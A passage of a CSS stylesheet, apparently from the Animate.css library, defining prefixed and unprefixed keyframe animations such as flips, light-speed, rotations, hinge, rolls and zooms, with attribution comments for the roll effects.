rotate3d(1, 0, 0, 90deg);\n    transform: perspective(400px) rotate3d(1, 0, 0, 90deg);\n    -webkit-animation-timing-function: ease-in;\n    animation-timing-function: ease-in;\n    opacity: 0;\n  }\n\n  40% {\n    -webkit-transform: perspective(400px) rotate3d(1, 0, 0, -20deg);\n    transform: perspective(400px) rotate3d(1, 0, 0, -20deg);\n    -webkit-animation-timing-function: ease-in;\n    animation-timing-function: ease-in;\n  }\n\n  60% {\n    -webkit-transform: perspective(400px) rotate3d(1, 0, 0, 10deg);\n    transform: perspective(400px) rotate3d(1, 0, 0, 10deg);\n    opacity: 1;\n  }\n\n  80% {\n    -webkit-transform: perspective(400px) rotate3d(1, 0, 0, -5deg);\n    transform: perspective(400px) rotate3d(1, 0, 0, -5deg);\n  }\n\n  100% {\n    -webkit-transform: perspective(400px);\n    transform: perspective(400px);\n  }\n}\n\n@keyframes flipInX {\n  from {\n    -webkit-transform: perspective(400px) rotate3d(1, 0, 0, 90deg);\n    transform: perspective(400px) rotate3d(1, 0, 0, 90deg);\n    -webkit-animation-timing-function: ease-in;\n    animation-timing-function: ease-in;\n    opacity: 0;\n  }\n\n  40% {\n    -webkit-transform: perspective(400px) rotate3d(1, 0, 0, -20deg);\n    transform: perspective(400px) rotate3d(1, 0, 0, -20deg);\n    -webkit-animation-timing-function: ease-in;\n    animation-timing-function: ease-in;\n  }\n\n  60% {\n    -webkit-transform: perspective(400px) rotate3d(1, 0, 0, 10deg);\n    transform: perspective(400px) rotate3d(1, 0, 0, 10deg);\n    opacity: 1;\n  }\n\n  80% {\n    -webkit-transform: perspective(400px) rotate3d(1, 0, 0, -5deg);\n    transform: perspective(400px) rotate3d(1, 0, 0, -5deg);\n  }\n\n  100% {\n    -webkit-transform: perspective(400px);\n    transform: perspective(400px);\n  }\n}\n\n.flipInX {\n  -webkit-backface-visibility: visible !important;\n  backface-visibility: visible !important;\n  -webkit-animation-name: flipInX;\n  animation-name: flipInX;\n}\n\n@-webkit-keyframes flipInY {\n  from {\n    -webkit-transform: perspective(400px) rotate3d(0, 1, 0, 90deg);\n    transform: perspective(400px) rotate3d(0, 1, 0, 90deg);\n    -webkit-animation-timing-function: ease-in;\n    animation-timing-function: ease-in;\n    opacity: 0;\n  }\n\n  40% {\n    -webkit-transform: perspective(400px) rotate3d(0, 1, 0, -20deg);\n    transform: perspective(400px) rotate3d(0, 1, 0, -20deg);\n    -webkit-animation-timing-function: ease-in;\n    animation-timing-function: ease-in;\n  }\n\n  60% {\n    -webkit-transform: perspective(400px) rotate3d(0, 1, 0, 10deg);\n    transform: perspective(400px) rotate3d(0, 1, 0, 10deg);\n    opacity: 1;\n  }\n\n  80% {\n    -webkit-transform: perspective(400px) rotate3d(0, 1, 0, -5deg);\n    transform: perspective(400px) rotate3d(0, 1, 0, -5deg);\n  }\n\n  100% {\n    -webkit-transform: perspective(400px);\n    transform: perspective(400px);\n  }\n}\n\n@keyframes flipInY {\n  from {\n    -webkit-transform: perspective(400px) rotate3d(0, 1, 0, 90deg);\n    transform: perspective(400px) rotate3d(0, 1, 0, 90deg);\n    -webkit-animation-timing-function: ease-in;\n    animation-timing-function: ease-in;\n    opacity: 0;\n  }\n\n  40% {\n    -webkit-transform: perspective(400px) rotate3d(0, 1, 0, -20deg);\n    transform: perspective(400px) rotate3d(0, 1, 0, -20deg);\n    -webkit-animation-timing-function: ease-in;\n    animation-timing-function: ease-in;\n  }\n\n  60% {\n    -webkit-transform: perspective(400px) rotate3d(0, 1, 0, 10deg);\n    transform: perspective(400px) rotate3d(0, 1, 0, 10deg);\n    opacity: 1;\n  }\n\n  80% {\n    -webkit-transform: perspective(400px) rotate3d(0, 1, 0, -5deg);\n    transform: perspective(400px) rotate3d(0, 1, 0, -5deg);\n  }\n\n  100% {\n    -webkit-transform: perspective(400px);\n    transform: perspective(400px);\n  }\n}\n\n.flipInY {\n  -webkit-backface-visibility: visible !important;\n  backface-visibility: visible !important;\n  -webkit-animation-name: flipInY;\n  animation-name: flipInY;\n}\n\n@-webkit-keyframes flipOutX {\n  from {\n    -webkit-transform: perspective(400px);\n    transform: perspective(400px);\n  }\n\n  30% {\n    -webkit-transform: perspective(400px) rotate3d(1, 0, 0, -20deg);\n    transform: perspective(400px) rotate3d(1, 0, 0, -20deg);\n    opacity: 1;\n  }\n\n  100% {\n    -webkit-transform: perspective(400px) rotate3d(1, 0, 0, 90deg);\n    transform: perspective(400px) rotate3d(1, 0, 0, 90deg);\n    opacity: 0;\n  }\n}\n\n@keyframes flipOutX {\n  from {\n    -webkit-transform: perspective(400px);\n    transform: perspective(400px);\n  }\n\n  30% {\n    -webkit-transform: perspective(400px) rotate3d(1, 0, 0, -20deg);\n    transform: perspective(400px) rotate3d(1, 0, 0, -20deg);\n    opacity: 1;\n  }\n\n  100% {\n    -webkit-transform: perspective(400px) rotate3d(1, 0, 0, 90deg);\n    transform: perspective(400px) rotate3d(1, 0, 0, 90deg);\n    opacity: 0;\n  }\n}\n\n.flipOutX {\n  -webkit-animation-name: flipOutX;\n  animation-name: flipOutX;\n  -webkit-backface-visibility: visible !important;\n  backface-visibility: visible !important;\n}\n\n@-webkit-keyframes flipOutY {\n  from {\n    -webkit-transform: perspective(400px);\n    transform: perspective(400px);\n  }\n\n  30% {\n    -webkit-transform: perspective(400px) rotate3d(0, 1, 0, -15deg);\n    transform: perspective(400px) rotate3d(0, 1, 0, -15deg);\n    opacity: 1;\n  }\n\n  100% {\n    -webkit-transform: perspective(400px) rotate3d(0, 1, 0, 90deg);\n    transform: perspective(400px) rotate3d(0, 1, 0, 90deg);\n    opacity: 0;\n  }\n}\n\n@keyframes flipOutY {\n  from {\n    -webkit-transform: perspective(400px);\n    transform: perspective(400px);\n  }\n\n  30% {\n    -webkit-transform: perspective(400px) rotate3d(0, 1, 0, -15deg);\n    transform: perspective(400px) rotate3d(0, 1, 0, -15deg);\n    opacity: 1;\n  }\n\n  100% {\n    -webkit-transform: perspective(400px) rotate3d(0, 1, 0, 90deg);\n    transform: perspective(400px) rotate3d(0, 1, 0, 90deg);\n    opacity: 0;\n  }\n}\n\n.flipOutY {\n  -webkit-backface-visibility: visible !important;\n  backface-visibility: visible !important;\n  -webkit-animation-name: flipOutY;\n  animation-name: flipOutY;\n}\n\n@-webkit-keyframes lightSpeedIn {\n  from {\n    -webkit-transform: translate3d(100%, 0, 0) skewX(-30deg);\n    transform: translate3d(100%, 0, 0) skewX(-30deg);\n    opacity: 0;\n  }\n\n  60% {\n    -webkit-transform: skewX(20deg);\n    transform: skewX(20deg);\n    opacity: 1;\n  }\n\n  80% {\n    -webkit-transform: skewX(-5deg);\n    transform: skewX(-5deg);\n    opacity: 1;\n  }\n\n  100% {\n    -webkit-transform: none;\n    transform: none;\n    opacity: 1;\n  }\n}\n\n@keyframes lightSpeedIn {\n  from {\n    -webkit-transform: translate3d(100%, 0, 0) skewX(-30deg);\n    transform: translate3d(100%, 0, 0) skewX(-30deg);\n    opacity: 0;\n  }\n\n  60% {\n    -webkit-transform: skewX(20deg);\n    transform: skewX(20deg);\n    opacity: 1;\n  }\n\n  80% {\n    -webkit-transform: skewX(-5deg);\n    transform: skewX(-5deg);\n    opacity: 1;\n  }\n\n  100% {\n    -webkit-transform: none;\n    transform: none;\n    opacity: 1;\n  }\n}\n\n.lightSpeedIn {\n  -webkit-animation-name: lightSpeedIn;\n  animation-name: lightSpeedIn;\n  -webkit-animation-timing-function: ease-out;\n  animation-timing-function: ease-out;\n}\n\n@-webkit-keyframes lightSpeedOut {\n  from {\n    opacity: 1;\n  }\n\n  100% {\n    -webkit-transform: translate3d(100%, 0, 0) skewX(30deg);\n    transform: translate3d(100%, 0, 0) skewX(30deg);\n    opacity: 0;\n  }\n}\n\n@keyframes lightSpeedOut {\n  from {\n    opacity: 1;\n  }\n\n  100% {\n    -webkit-transform: translate3d(100%, 0, 0) skewX(30deg);\n    transform: translate3d(100%, 0, 0) skewX(30deg);\n    opacity: 0;\n  }\n}\n\n.lightSpeedOut {\n  -webkit-animation-name: lightSpeedOut;\n  animation-name: lightSpeedOut;\n  -webkit-animation-timing-function: ease-in;\n  animation-timing-function: ease-in;\n}\n\n@-webkit-keyframes rotateIn {\n  from {\n    -webkit-transform-origin: center;\n    transform-origin: center;\n    -webkit-transform: rotate3d(0, 0, 1, -200deg);\n    transform: rotate3d(0, 0, 1, -200deg);\n    opacity: 0;\n  }\n\n  100% {\n    -webkit-transform-origin: center;\n    transform-origin: center;\n    -webkit-transform: none;\n    transform: none;\n    opacity: 1;\n  }\n}\n\n@keyframes rotateIn {\n  from {\n    -webkit-transform-origin: center;\n    transform-origin: center;\n    -webkit-transform: rotate3d(0, 0, 1, -200deg);\n    transform: rotate3d(0, 0, 1, -200deg);\n    opacity: 0;\n  }\n\n  100% {\n    -webkit-transform-origin: center;\n    transform-origin: center;\n    -webkit-transform: none;\n    transform: none;\n    opacity: 1;\n  }\n}\n\n.rotateIn {\n  -webkit-animation-name: rotateIn;\n  animation-name: rotateIn;\n}\n\n@-webkit-keyframes rotateInDownLeft {\n  from {\n    -webkit-transform-origin: left bottom;\n    transform-origin: left bottom;\n    -webkit-transform: rotate3d(0, 0, 1, -45deg);\n    transform: rotate3d(0, 0, 1, -45deg);\n    opacity: 0;\n  }\n\n  100% {\n    -webkit-transform-origin: left bottom;\n    transform-origin: left bottom;\n    -webkit-transform: none;\n    transform: none;\n    opacity: 1;\n  }\n}\n\n@keyframes rotateInDownLeft {\n  from {\n    -webkit-transform-origin: left bottom;\n    transform-origin: left bottom;\n    -webkit-transform: rotate3d(0, 0, 1, -45deg);\n    transform: rotate3d(0, 0, 1, -45deg);\n    opacity: 0;\n  }\n\n  100% {\n    -webkit-transform-origin: left bottom;\n    transform-origin: left bottom;\n    -webkit-transform: none;\n    transform: none;\n    opacity: 1;\n  }\n}\n\n.rotateInDownLeft {\n  -webkit-animation-name: rotateInDownLeft;\n  animation-name: rotateInDownLeft;\n}\n\n@-webkit-keyframes rotateInDownRight {\n  from {\n    -webkit-transform-origin: right bottom;\n    transform-origin: right bottom;\n    -webkit-transform: rotate3d(0, 0, 1, 45deg);\n    transform: rotate3d(0, 0, 1, 45deg);\n    opacity: 0;\n  }\n\n  100% {\n    -webkit-transform-origin: right bottom;\n    transform-origin: right bottom;\n    -webkit-transform: none;\n    transform: none;\n    opacity: 1;\n  }\n}\n\n@keyframes rotateInDownRight {\n  from {\n    -webkit-transform-origin: right bottom;\n    transform-origin: right bottom;\n    -webkit-transform: rotate3d(0, 0, 1, 45deg);\n    transform: rotate3d(0, 0, 1, 45deg);\n    opacity: 0;\n  }\n\n  100% {\n    -webkit-transform-origin: right bottom;\n    transform-origin: right bottom;\n    -webkit-transform: none;\n    transform: none;\n    opacity: 1;\n  }\n}\n\n.rotateInDownRight {\n  -webkit-animation-name: rotateInDownRight;\n  animation-name: rotateInDownRight;\n}\n\n@-webkit-keyframes rotateInUpLeft {\n  from {\n    -webkit-transform-origin: left bottom;\n    transform-origin: left bottom;\n    -webkit-transform: rotate3d(0, 0, 1, 45deg);\n    transform: rotate3d(0, 0, 1, 45deg);\n    opacity: 0;\n  }\n\n  100% {\n    -webkit-transform-origin: left bottom;\n    transform-origin: left bottom;\n    -webkit-transform: none;\n    transform: none;\n    opacity: 1;\n  }\n}\n\n@keyframes rotateInUpLeft {\n  from {\n    -webkit-transform-origin: left bottom;\n    transform-origin: left bottom;\n    -webkit-transform: rotate3d(0, 0, 1, 45deg);\n    transform: rotate3d(0, 0, 1, 45deg);\n    opacity: 0;\n  }\n\n  100% {\n    -webkit-transform-origin: left bottom;\n    transform-origin: left bottom;\n    -webkit-transform: none;\n    transform: none;\n    opacity: 1;\n  }\n}\n\n.rotateInUpLeft {\n  -webkit-animation-name: rotateInUpLeft;\n  animation-name: rotateInUpLeft;\n}\n\n@-webkit-keyframes rotateInUpRight {\n  from {\n    -webkit-transform-origin: right bottom;\n    transform-origin: right bottom;\n    -webkit-transform: rotate3d(0, 0, 1, -90deg);\n    transform: rotate3d(0, 0, 1, -90deg);\n    opacity: 0;\n  }\n\n  100% {\n    -webkit-transform-origin: right bottom;\n    transform-origin: right bottom;\n    -webkit-transform: none;\n    transform: none;\n    opacity: 1;\n  }\n}\n\n@keyframes rotateInUpRight {\n  from {\n    -webkit-transform-origin: right bottom;\n    transform-origin: right bottom;\n    -webkit-transform: rotate3d(0, 0, 1, -90deg);\n    transform: rotate3d(0, 0, 1, -90deg);\n    opacity: 0;\n  }\n\n  100% {\n    -webkit-transform-origin: right bottom;\n    transform-origin: right bottom;\n    -webkit-transform: none;\n    transform: none;\n    opacity: 1;\n  }\n}\n\n.rotateInUpRight {\n  -webkit-animation-name: rotateInUpRight;\n  animation-name: rotateInUpRight;\n}\n\n@-webkit-keyframes rotateOut {\n  from {\n    -webkit-transform-origin: center;\n    transform-origin: center;\n    opacity: 1;\n  }\n\n  100% {\n    -webkit-transform-origin: center;\n    transform-origin: center;\n    -webkit-transform: rotate3d(0, 0, 1, 200deg);\n    transform: rotate3d(0, 0, 1, 200deg);\n    opacity: 0;\n  }\n}\n\n@keyframes rotateOut {\n  from {\n    -webkit-transform-origin: center;\n    transform-origin: center;\n    opacity: 1;\n  }\n\n  100% {\n    -webkit-transform-origin: center;\n    transform-origin: center;\n    -webkit-transform: rotate3d(0, 0, 1, 200deg);\n    transform: rotate3d(0, 0, 1, 200deg);\n    opacity: 0;\n  }\n}\n\n.rotateOut {\n  -webkit-animation-name: rotateOut;\n  animation-name: rotateOut;\n}\n\n@-webkit-keyframes rotateOutDownLeft {\n  from {\n    -webkit-transform-origin: left bottom;\n    transform-origin: left bottom;\n    opacity: 1;\n  }\n\n  100% {\n    -webkit-transform-origin: left bottom;\n    transform-origin: left bottom;\n    -webkit-transform: rotate3d(0, 0, 1, 45deg);\n    transform: rotate3d(0, 0, 1, 45deg);\n    opacity: 0;\n  }\n}\n\n@keyframes rotateOutDownLeft {\n  from {\n    -webkit-transform-origin: left bottom;\n    transform-origin: left bottom;\n    opacity: 1;\n  }\n\n  100% {\n    -webkit-transform-origin: left bottom;\n    transform-origin: left bottom;\n    -webkit-transform: rotate3d(0, 0, 1, 45deg);\n    transform: rotate3d(0, 0, 1, 45deg);\n    opacity: 0;\n  }\n}\n\n.rotateOutDownLeft {\n  -webkit-animation-name: rotateOutDownLeft;\n  animation-name: rotateOutDownLeft;\n}\n\n@-webkit-keyframes rotateOutDownRight {\n  from {\n    -webkit-transform-origin: right bottom;\n    transform-origin: right bottom;\n    opacity: 1;\n  }\n\n  100% {\n    -webkit-transform-origin: right bottom;\n    transform-origin: right bottom;\n    -webkit-transform: rotate3d(0, 0, 1, -45deg);\n    transform: rotate3d(0, 0, 1, -45deg);\n    opacity: 0;\n  }\n}\n\n@keyframes rotateOutDownRight {\n  from {\n    -webkit-transform-origin: right bottom;\n    transform-origin: right bottom;\n    opacity: 1;\n  }\n\n  100% {\n    -webkit-transform-origin: right bottom;\n    transform-origin: right bottom;\n    -webkit-transform: rotate3d(0, 0, 1, -45deg);\n    transform: rotate3d(0, 0, 1, -45deg);\n    opacity: 0;\n  }\n}\n\n.rotateOutDownRight {\n  -webkit-animation-name: rotateOutDownRight;\n  animation-name: rotateOutDownRight;\n}\n\n@-webkit-keyframes rotateOutUpLeft {\n  from {\n    -webkit-transform-origin: left bottom;\n    transform-origin: left bottom;\n    opacity: 1;\n  }\n\n  100% {\n    -webkit-transform-origin: left bottom;\n    transform-origin: left bottom;\n    -webkit-transform: rotate3d(0, 0, 1, -45deg);\n    transform: rotate3d(0, 0, 1, -45deg);\n    opacity: 0;\n  }\n}\n\n@keyframes rotateOutUpLeft {\n  from {\n    -webkit-transform-origin: left bottom;\n    transform-origin: left bottom;\n    opacity: 1;\n  }\n\n  100% {\n    -webkit-transform-origin: left bottom;\n    transform-origin: left bottom;\n    -webkit-transform: rotate3d(0, 0, 1, -45deg);\n    transform: rotate3d(0, 0, 1, -45deg);\n    opacity: 0;\n  }\n}\n\n.rotateOutUpLeft {\n  -webkit-animation-name: rotateOutUpLeft;\n  animation-name: rotateOutUpLeft;\n}\n\n@-webkit-keyframes rotateOutUpRight {\n  from {\n    -webkit-transform-origin: right bottom;\n    transform-origin: right bottom;\n    opacity: 1;\n  }\n\n  100% {\n    -webkit-transform-origin: right bottom;\n    transform-origin: right bottom;\n    -webkit-transform: rotate3d(0, 0, 1, 90deg);\n    transform: rotate3d(0, 0, 1, 90deg);\n    opacity: 0;\n  }\n}\n\n@keyframes rotateOutUpRight {\n  from {\n    -webkit-transform-origin: right bottom;\n    transform-origin: right bottom;\n    opacity: 1;\n  }\n\n  100% {\n    -webkit-transform-origin: right bottom;\n    transform-origin: right bottom;\n    -webkit-transform: rotate3d(0, 0, 1, 90deg);\n    transform: rotate3d(0, 0, 1, 90deg);\n    opacity: 0;\n  }\n}\n\n.rotateOutUpRight {\n  -webkit-animation-name: rotateOutUpRight;\n  animation-name: rotateOutUpRight;\n}\n\n@-webkit-keyframes hinge {\n  0% {\n    -webkit-transform-origin: top left;\n    transform-origin: top left;\n    -webkit-animation-timing-function: ease-in-out;\n    animation-timing-function: ease-in-out;\n  }\n\n  20%, 60% {\n    -webkit-transform: rotate3d(0, 0, 1, 80deg);\n    transform: rotate3d(0, 0, 1, 80deg);\n    -webkit-transform-origin: top left;\n    transform-origin: top left;\n    -webkit-animation-timing-function: ease-in-out;\n    animation-timing-function: ease-in-out;\n  }\n\n  40%, 80% {\n    -webkit-transform: rotate3d(0, 0, 1, 60deg);\n    transform: rotate3d(0, 0, 1, 60deg);\n    -webkit-transform-origin: top left;\n    transform-origin: top left;\n    -webkit-animation-timing-function: ease-in-out;\n    animation-timing-function: ease-in-out;\n    opacity: 1;\n  }\n\n  100% {\n    -webkit-transform: translate3d(0, 700px, 0);\n    transform: translate3d(0, 700px, 0);\n    opacity: 0;\n  }\n}\n\n@keyframes hinge {\n  0% {\n    -webkit-transform-origin: top left;\n    transform-origin: top left;\n    -webkit-animation-timing-function: ease-in-out;\n    animation-timing-function: ease-in-out;\n  }\n\n  20%, 60% {\n    -webkit-transform: rotate3d(0, 0, 1, 80deg);\n    transform: rotate3d(0, 0, 1, 80deg);\n    -webkit-transform-origin: top left;\n    transform-origin: top left;\n    -webkit-animation-timing-function: ease-in-out;\n    animation-timing-function: ease-in-out;\n  }\n\n  40%, 80% {\n    -webkit-transform: rotate3d(0, 0, 1, 60deg);\n    transform: rotate3d(0, 0, 1, 60deg);\n    -webkit-transform-origin: top left;\n    transform-origin: top left;\n    -webkit-animation-timing-function: ease-in-out;\n    animation-timing-function: ease-in-out;\n    opacity: 1;\n  }\n\n  100% {\n    -webkit-transform: translate3d(0, 700px, 0);\n    transform: translate3d(0, 700px, 0);\n    opacity: 0;\n  }\n}\n\n.hinge {\n  -webkit-animation-name: hinge;\n  animation-name: hinge;\n}\n\n/* originally authored by Nick Pettit - https://github.com/nickpettit/glide */\n\n@-webkit-keyframes rollIn {\n  from {\n    opacity: 0;\n    -webkit-transform: translate3d(-100%, 0, 0) rotate3d(0, 0, 1, -120deg);\n    transform: translate3d(-100%, 0, 0) rotate3d(0, 0, 1, -120deg);\n  }\n\n  100% {\n    opacity: 1;\n    -webkit-transform: none;\n    transform: none;\n  }\n}\n\n@keyframes rollIn {\n  from {\n    opacity: 0;\n    -webkit-transform: translate3d(-100%, 0, 0) rotate3d(0, 0, 1, -120deg);\n    transform: translate3d(-100%, 0, 0) rotate3d(0, 0, 1, -120deg);\n  }\n\n  100% {\n    opacity: 1;\n    -webkit-transform: none;\n    transform: none;\n  }\n}\n\n.rollIn {\n  -webkit-animation-name: rollIn;\n  animation-name: rollIn;\n}\n\n/* originally authored by Nick Pettit - https://github.com/nickpettit/glide */\n\n@-webkit-keyframes rollOut {\n  from {\n    opacity: 1;\n  }\n\n  100% {\n    opacity: 0;\n    -webkit-transform: translate3d(100%, 0, 0) rotate3d(0, 0, 1, 120deg);\n    transform: translate3d(100%, 0, 0) rotate3d(0, 0, 1, 120deg);\n  }\n}\n\n@keyframes rollOut {\n  from {\n    opacity: 1;\n  }\n\n  100% {\n    opacity: 0;\n    -webkit-transform: translate3d(100%, 0, 0) rotate3d(0, 0, 1, 120deg);\n    transform: translate3d(100%, 0, 0) rotate3d(0, 0, 1, 120deg);\n  }\n}\n\n.rollOut {\n  -webkit-animation-name: rollOut;\n  animation-name: rollOut;\n}\n\n@-webkit-keyframes zoomIn {\n  from {\n    opacity: 0;\n    -webkit-transform: scale3d(.3, .3, .3);\n    transform: scale3d(.3, .3, .3);\n  }\n\n  50% {\n    opacity: 1;\n  }\n}\n\n@keyframes zoomIn {\n  from {\n    opacity: 0;\n    -webkit-transform: scale3d(.3, .3, .3);\n    transform: scale3d(.3, .3, .3);\n  }\n\n  50% {\n    opacity: 1;\n  }\n}\n\n.zoomIn {\n  -webkit-animation-name: zoomIn;\n  animation-name: zoomIn;\n}\n\n@-webkit-keyframes zoomInDown {\n  from {\n    opacity: 0;\n    -webkit-transform: scale3d(.1, .1, .1) translate3d(0, -1000px, 0);\n    transform: scale3d(.1, .1, .1) translate3d(0, -1000px, 0);\n    -webkit-animation-timing-function: cubic-bezier(0.550, 0.055, 0.675, 0.190);\n    animation-timing-function: cubic-bezier(0.550, 0.055, 0.675, 0.190);\n  }\n\n  60% {\n    opacity: 1;\n    -webkit-transform: scale3d(.475, .475, .475) translate3d(0, 60px, 0);\n    transform: scale3d(.475, .475, .475) translate3d(0, 60px, 0);\n    -webkit-animation-timing-function: cubic-bezier(0.175, 0.885, 0.320, 1);\n    animation-timing-function: cubic-bezier(0.175, 0.885, 0.320, 1);\n  }\n}\n\n@keyframes zoomInDown {\n  from {\n    opacity: 0;\n    -webkit-transform: scale3d(.1, .1, .1) translate3d(0, -1000px, 0);\n    transform: scale3d(.1, .1, .1) translate3d(0, -1000px, 0);\n    -webkit-animation-timing-function: cubic-bezier(0.550, 0.055, 0.675, 0.190);\n    animation-timing-function: cubic-bezier(0.550, 0.055, 0.675, 0.190);\n  }\n\n  60% {\n    opacity: 1;\n    -webkit-transform: scale3d(.475, .475, .475) translate3d(0, 60px, 0);\n    transform: scale3d(.475, .475, .475) translate3d(0, 60px, 0);\n    -webkit-animation-timing-function: cubic-bezier(0.175, 0.885, 0.320, 1);\n    animation-timing-function: cubic-bezier(0.175, 0.885, 0.320, 1);\n  }\n}\n\n.zoomInDown {\n  -webkit-animation-name: zoomInDown;\n  animation-name: zoomInDown;\n}\n\n@-webkit-keyframes zoomInLeft {\n  from {\n    opacity: 0;\n    -webkit-transform: scale3d(.1, .1, .1) translate3d(-1000px, 0, 0);\n    transform: scale3d(.1, .1, .1) translate3d(-1000px, 0, 0);\n    -webkit-animation-timing-function: cubic-bezier(0.550, 0.055, 0.675, 0.190);\n    animation-timing-function: cubic-bezier(0.550, 0.055, 0.675, 0.190);\n  }\n\n  60% {\n    opacity: 1;\n    -webkit-transform: scale3d(.475, .475, .475) translate3d(10px, 0, 0);\n    transform: scale3d(.475, .475, .475) translate3d(10px, 0, 0);\n    -webkit-animation-timing-function: cubic-bezier(0.175, 0.885, 0.320, 1);\n    animation-timing-function: cubic-bezier(0.175, 0.885, 0.320, 1);\n  }\n}\n\n@keyframes zoomInLeft {\n  from {\n    opacity: 0;\n    -webkit-transform: scale3d(.1, .1, .1) translate3d(-1000px, 0, 0);\n    transform: scale3d(.1, .1, .1) translate3d(-1000px, 0, 0);\n    -webkit-animation-timing-function: cubic-bezier(0.550, 0.055, 0.675, 0.190);\n    animation-timing-function: cubic-bezier(0.550, 0.055, 0.675, 0.190);\n  }\n\n  60% {\n    opacity: 1;\n    -webkit-transform: scale3d(.475, .475, .475) translate3d(10px, 0, 0);\n    transform: scale3d(.475, .475, .475) translate3d(10px, 0, 0);\n    -webkit-animation-timing-function: cubic-bezier(0.175, 0.885, 0.320, 1);\n    animation-timing-function: cubic-bezier(0.175, 0.885, 0.320, 1);\n  }\n}\n\n.zoomInLeft {\n  -webkit-animation-name: zoomInLeft;\n  animation-name: zoomInLeft;\n}\n\n@-webkit-keyframes zoomInRight {\n  from {\n    opacity: 0;\n    -webkit-transform: scale3d(.1, .1, .1) translate3d(1000px, 0, 0);\n    transform: scale3d(.1, .1, .1) translate3d(1000px, 0, 0);\n    -webkit-animation-timing-function: cubic-bezier(0.550, 0.055, 0.675, 0.190);\n    animation-timing-function: cubic-bezier(0.550, 0.055, 0.675, 0.190);\n  }\n\n  60% {\n    opacity: 1;\n    -webkit-transform: scale3d(.475, .475, .475) translate3d(-10px, 0, 0);\n    transform: scale3d(.475, .475, .475) translate3d(-10px, 0, 0);\n    -webkit-animation-timing-function: cubic-bezier(0.175, 0.885, 0.320, 1);\n    animation-timing-function: cubic-bezier(0.175, 0.885, 0.320, 1);\n  }\n}\n\n@keyframes zoomInRight {\n  from {\n    opacity: 0;\n    -webkit-transform: scale3d(.1, .1, .1) translate3d(1000px, 0, 0);\n    transform: scale3d(.1, .1, .1) translate3d(1000px, 0, 0);\n    -webkit-animation-timing-function: cubic-bezier(0.550, 0.055, 0.675, 0.190);\n    animation-timing-function: cubic-bezier(0.550, 0.055, 0.675, 0.190);\n  }\n\n  60% {\n    opacity: 1;\n    -webkit-transform: scale3d(.475, .475, .475) translate3d(-10px, 0, 0);\n    transform: scale3d(.475, .475, .475) translate3d(-10px, 0, 0);\n    -webkit-animation-timing-function: cubic-bezier(0.175, 0.885, 0.320, 1);\n    animation-timing-function: cubic-bezier(0.175, 0.885, 0.320, 1);\n  }\n}\n\n.zoomInRight {\n  -webkit-animation-name: zoomInRight;\n  animation-name: zoomInRight;\n}\n\n@-webkit-keyframes zoomInUp {\n  from {\n    opacity: 0;\n    -webkit-transform: scale3d(.1, .1, .1) translate3d(0, 1000px, 0);\n    transform: scale3d(.1, .1, .1) translate3d(0, 1000px, 0);\n    -webkit-animation-timing-function: cubic-bezier(0.550, 0.055, 0.675, 0.190);\n    animation-timing-function: cubic-bezier(0.550, 0.055, 0.675, 0.190);\n  }\n\n  60% {\n    opacity: 1;\n    -webkit-transform: scale3d(.475, .475, .475) translate3d(0, -60px, 0);\n    transform: scale3d(.475, .475, .475) translate3d(0, -60px, 0);\n    -webkit-animation-timing-function: cubic-bezier(0.175, 0.885, 0.320, 1);\n    animation-timing-function: cubic-bezier(0.175, 0.885, 0.320, 1);\n  }\n}\n\n@keyframes zoomInUp {\n  from {\n    opacity: 0;\n    -webkit-transform: scale3d(.1, .1, .1) translate3d(0, 1000px, 0);\n    transform: scale3d(.1, .1, .1) translate3d(0, 1000px, 0);\n    -webkit-animation-timing-function: cubic-bezier(0.550, 0.055, 0.675, 0.190);\n    animation-timing-function: cubic-bezier(0.550, 0.055, 0.675, 0.190);\n  }\n\n  60% {\n    opacity: 1;\n    -webkit-transform: scale3d(.475, .475, .475) translate3d(0, -60px, 0);\n    transform: scale3d(.475, .475, .475) translate3d(0, -60px, 0);\n    -webkit-animation-timing-function: cubic-bezier(0.175, 0.885, 0.320, 1);\n    animation-timing-function: cubic-bezier(0.175, 0.885, 0.320, 1);\n  }\n}\n\n.zoomInUp {\n  -webkit-animation-name: zoomInUp;\n  animation-name: zoomInUp;\n}\n\n@-webkit-keyframes zoomOut {\n  from {\n    opacity: 1;\n  }\n\n  50% {\n    opacity: 0;\n    -webkit-transform: scale3d(.3, .3, .3);\n    transform: scale3d(.3, .3, .3);\n  }\n\n  100% {\n    opacity: 0;\n  }\n}\n\n@keyframes zoomOut {\n  from {\n    opacity: 1;\n  }\n\n  50% {\n    opacity: 0;\n    -webkit-transform: scale3d(.3, .3, .3);\n    transform: scale3d(.3, .3, .3);\n  }\n\n  100% {\n    opacity: 0;\n  }\n}\n\n.zoomOut {\n  -webkit-animation-name: zoomOut;\n  animation-name: zoomOut;\n}\n\n@-webkit-keyframes zoomOutDown {\n  40% {\n    opacity: 1;\n    -webkit-transform: scale3d(.475, .475, .475) translate3d(0, -60px, 0);\n    transform: scale3d(.475, .475, .475) translate3d(0, -60px, 0);\n    -webkit-animation-timing-function: cubic-bezier(0.550, 0.055, 0.675, 0.190);\n    animation-timing-function: cubic-bezier(0.550, 0.055, 0.675, 0.190);\n  }\n\n  100% {\n    opacity: 0;\n    -webkit-transform: scale3d(.1, .1, .1) translate3d(0, 2000px, 0);\n    transform: scale3d(.1, .1, .1) translate3d(0, 2000px, 0);\n    -webkit-transform-origin: center bottom;\n    transform-origin: center bottom;\n    -webkit-animation-timing-function: cubic-bezier(0.175, 0.885, 0.320, 1);\n    animation-timing-function: cubic-bezier(0.175, 0.885, 0.320, 1);\n  }\n}\n\n@keyframes zoomOutDown {\n  40% {\n    opacity: 1;\n    -webkit-transform: scale3d(.475, .475, .475) translate3d(0, -60px, 0);\n    transform: scale3d(.475, .475, .475) translate3d(0, -60px, 0);\n    -webkit-animation-timing-function: cubic-bezier(0.550, 0.055, 0.675, 0.190);\n    animation-timing-function: cubic-bezier(0.550, 0.055, 0.675, 0.190);\n  }\n\n  100% {\n    opacity: 0;\n    -webkit-transform: scale3d(.1, .1, .1) translate3d(0, 2000px, 0);\n    transform: scale3d(.1, .1, .1) translate3d(0, 2000px, 0);\n    -webkit-transform-origin: center bottom;\n    transform-origin: center bottom;\n    -webkit-animation-timing-function: cubic-bezier(0.175, 0.885, 0.320, 1);\n    animation-timing-function: cubic-bezier(0.175, 0.885, 0.320, 1);\n  }\n}\n\n.zoomOutDown {\n  -webkit-animation-name: zoomOutDown;\n  animation-name: zoomOutDown;\n}\n\n@-webkit-keyframes zoomOutLeft {\n  40% {\n    opacity: 1;\n    -webkit-transform: scale3d(.475, .475, .475) translate3d(42px, 0, 0);\n    transform: scale3d(.475, .475, .475) translate3d(42px, 0, 0);\n  }\n\n  